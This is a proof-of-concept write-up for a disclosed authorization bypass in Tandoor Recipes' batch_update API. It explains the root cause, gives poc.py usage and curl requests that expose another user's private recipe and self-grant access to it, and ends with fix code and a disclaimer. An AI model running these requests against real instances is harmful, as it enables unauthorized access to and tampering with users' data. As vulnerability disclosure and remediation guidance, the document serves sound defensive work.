
Proof-of-concept exploit for CVE-2026-35045, a broken object-level authorization vulnerability in Tandoor Recipes, demonstrating unauthorized recipe modification via the batch_update API endpoint.
The PUT /api/recipe/batch_update/ endpoint in Tandoor Recipes v2.6.1 allows any authenticated user within a Space to modify any recipe in that Space — including private recipes owned by other users. This completely bypasses the object-level authorization checks enforced on all standard single-recipe endpoints.
The root cause is a Django REST Framework behavioral gap: detail=False list-actions never invoke has_object_permission(), only has_permission(). The queryset filters solely by space=request.space, with no check for created_by, private, or the shared list. An attacker can force-expose private recipes, self-grant persistent access, revoke other users' permissions, and tamper with metadata — all in a single unauthenticated-looking API call that returns HTTP 200 OK with an empty body.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Authorization Bypass Through User-Controlled Key |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Affected Version | Tandoor Recipes ≤ 2.6.1 |
| Vendor | TandoorRecipes/recipes |
detail=False Bypasses Object-Level Permission ChecksFile: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← No created_by or private check
)
In Django REST Framework, actions registered with detail=False are list-actions. They never call get_object(), which means check_object_permissions() and CustomRecipePermission.has_object_permission() are never invoked. Only has_permission() runs — which verifies Space membership, not recipe ownership.
PUT /api/recipe/{id}/ follows the full DRF permission flow:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ denies access if recipe is private and not owned/shared with requester
The batch_update endpoint silently skips this entire chain.
RecipeBatchUpdateSerializer exposes the following fields — writable on any recipe in the Space:
| Field | Effect |
|---|---|
private | Toggle recipe visibility |
shared_add / shared_remove / shared_set | Manipulate the access control list |
keywords_add / keywords_remove / keywords_set | Alter recipe metadata |
working_time / waiting_time | Modify recipe timing data |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│ Tandoor Server │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space member)│
│ │
│ has_object_ │
│ permission() │
│ ✗ NEVER CALLED │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← No ownership check
│
▼
┌────────────────┐
│ Recipe ID 2 │
│ (owned by A) │
│ private=false ← patched
│ shared=[2] ← self-granted
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attacker (B) │
│ now has full │
│ access to │
│ Recipe ID 2 │
└────────────────┘
requests librarypip install requests
# Force-expose a private recipe and self-grant access (default)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Force-expose only (set private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Self-grant only (add to shared list, keep private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Action | Description |
|---|---|
expose | Sets private: false on the target recipe — forces visibility to all Space members |
self_grant | Adds attacker's user ID to shared_add — grants persistent access even if recipe stays private |
both | Runs both actions in a single request (default) |
1. Pre-condition — Recipe is inaccessible via standard endpoint
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: 404 (private, not owned)
2. Exploit — batch_update with no authorization
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Expected: HTTP 200 OK — {}
3. Post-condition — Recipe is now accessible
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Expected: HTTP 200 with recipe data, private=false
4. Verify via recipe listing
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Expected: 2 <recipe_name> False
| Impact Area | Description | Severity |
|---|---|---|
| Forced Recipe Exposure | Setting private: false makes any recipe visible to all Space members | High |
| Unauthorized Self-Grant | Adding own user ID via shared_add grants persistent read/write access to any recipe | High |
| Access Revocation | Using shared_remove or shared_set to remove legitimate users from a recipe's sharing list | High |
| Metadata Tampering | Modifying working_time, waiting_time, and keywords on recipes owned by other users | Medium |
Filter the queryset by created_by=request.user to restrict batch operations to owned recipes:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Fix: restrict to owned recipes
)
If Space admins require the ability to batch-update any recipe, add a role-based conditional:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
Any detail=False action that operates on individual objects must manually enforce object-level authorization. DRF's has_object_permission() is never called for list-actions — this responsibility falls entirely on the developer.
This proof of concept is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this tool.
Filipe Gaudard — Offensive Security Researcher | eWPT | eWPTx